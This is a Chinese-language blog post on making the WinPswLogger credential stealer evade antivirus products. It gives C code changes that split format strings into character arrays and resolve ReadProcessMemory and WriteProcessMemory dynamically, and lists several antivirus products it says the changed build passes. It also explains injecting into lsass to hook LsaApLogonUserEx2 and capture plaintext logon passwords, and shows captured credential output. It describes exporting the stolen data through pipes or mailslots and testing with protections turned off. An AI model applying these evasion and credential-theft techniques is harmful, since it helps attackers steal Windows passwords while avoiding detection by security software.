网络安全：WinPswLogger源码免杀

原创

信息无障碍 2021-07-24 18:52:08 ©著作权

文章标签 干货 文章分类 代码人生

©著作权归作者所有：来自51CTO博客作者信息无障碍的原创作品，请联系作者获取转载授权，否则将追究法律责任

WinPswLogger免杀过360提示未能成功，目前没有找到什么好的方法，过其它的杀软方法如下：

诺顿和symantec：

ret = Hijack_LsaApLogonUserEx2(hProc, m_szLogFileName);

strcpy(ParamContent.szOutFormat,

"[%02d/%02d/%d %02d:%02d:%02d]\r\n"

"LoginType: %d, MessageType: %d\r\n" //LogonType -->LoginType

"Domain: %S\r\n"

"User: %S\r\n"

"Password: %S\r\n"

);

char strFormat1[] = {'[','%02d','/','%02d','/','%d',' ','%02d',':', '%02d', ':','%02d',']','\r','\n','\0'};

char strFormat2[] = {'L','o','g','o','n','T','y','p','e', ':',' ','%d',',','M','e','s','s','T','y','p','e',':',' ','%d','\r','\n','\0'};

char strFormat3[] = {'D','o','m','a','i','n',':',' ',' ', ' ',' ','%S','\r','\n','\0'};

char strFormat4[] = {'U','s','e','r',':',' ',' ',' ',' ', ' ',' ','%S','\r','\n','\0'};

char strFormat5[] = {'P','a','s','s','w','o','r','d',':', ' ',' ','%S','\r','\n','\0'};

char strFormat[] = {'[','%02d','/','%02d','/','%d',' ','%02d',':', '%02d', ':','%02d',']','\r','\n','L','o','g','o','n','T','y','p','e', ':',' ','%d',',','M','e','s','s','T','y','p','e',':',' ','%d','\r','\n','D','o','m','a','i','n',':',' ',' ', ' ',' ','%S','\r','\n','U','s','e','r',':',' ',' ',' ',' ', ' ',' ','%S','\r','\n','P','a','s','s','w','o','r','d',':', ' ',' ','%S','\r','\n','\0'};

strcpy(ParamContent.szOutFormat, strFormat);

NOD32:

1、//CredIsProtectedW

char cipStr[] = {'C','r','e','d','I','s', 'P', 'r','o','t','e','c','t','e','d','W','\0'};

2、// ReadProcessMemory

typedef WINBASEAPI BOOL (WINAPI *ReadProcessMemoryT)

(

__in HANDLE hProcess,

__in LPCVOID lpBaseAddress,

__out_bcount_part(nSize, *lpNumberOfBytesRead) LPVOID lpBuffer,

__in SIZE_T nSize,

__out_opt SIZE_T * lpNumberOfBytesRead

);

ReadProcessMemoryT pReadProcessMemory = (ReadProcessMemoryT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"ReadProcessMemory");

3、//WriteProcessMemory

typedef WINBASEAPI BOOL(WINAPI *WriteProcessMemoryT)

(

__in HANDLE hProcess,

__in LPVOID lpBaseAddress,

__in_bcount(nSize) LPCVOID lpBuffer,

__in SIZE_T nSize,

__out_opt SIZE_T * lpNumberOfBytesWritten

);

WriteProcessMemoryT pWriteProcessMemory = (WriteProcessMemoryT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"WriteProcessMemory");

卡巴斯基：过

Avria :过

mcafee：过

Avg：过

金山全套：过

360全套表面：过。

结果：

********************************************************************************************

[8/23/2011 8:9:45]

LTP: 2, MTP: 2

DMN: MYSQLSERVER

USN: Administrator

PSW: sp@789456

********************************************************************************************

========原理：

windows的身份验证一般最终都是在lsass进程，默认模块是msv1_0.dll，而关键在其导出函数LsaApLogonUserEx2，本程序通过注入代码到lsass进程hook LsaApLogonUserEx2，截取密码。只要有身份验证的过程，LsaApLogonUserEx2就会触发，如ipc$,runsa,3389远程桌面登陆等。

程序对不同系统做了处理，在2000,2003,xp,vista上都可以截取，在2000,2003,xp中，通过UNICODE_STRING.Length 的高8位取xor key,如果密码是编码过的，则通过ntdll.RtlRunDecodeUnicodeString解码，vista则通过AdvApi32.CredIsProtectedW判断密码是否编码过，解码用AdvApi32.CredUnprotectW。

可以自己调试器挂lsass跑一下:)

========接口：

HRESULT WINAPI DllInstall( BOOL bInstall, LPCWSTR pszCmdLine);

这是本dll导出的一个函数原型，请不要被名字蛊惑了，这个程序是绿色的。

这个函数内部并没有做任何自启动安装的动作，没有修改注册表或系统文件。只是想选一个符合regsvr32调用的接口而已。

第一个参数本程序没用到，

第二个参数请指定一个文件路径(注意是UNICODE的)，记录到的数据将保存到这里（是Ansi的）。

文件路径可以像这样 C:\x.log，

也可以像\\.\pipe\your_pipename, \\.\mailslot\yourslot，

所以你可以自己写loader来调用这个dll，让dll截取到密码时通过pipe或mailslot将数据发给你的程序。数据就是一个字符串（是Ansi的）

========测试：

你可以不急着写自己的loader来调用，用regsvr32作为loader来测试一下：(你可能需要关闭某些主动防御)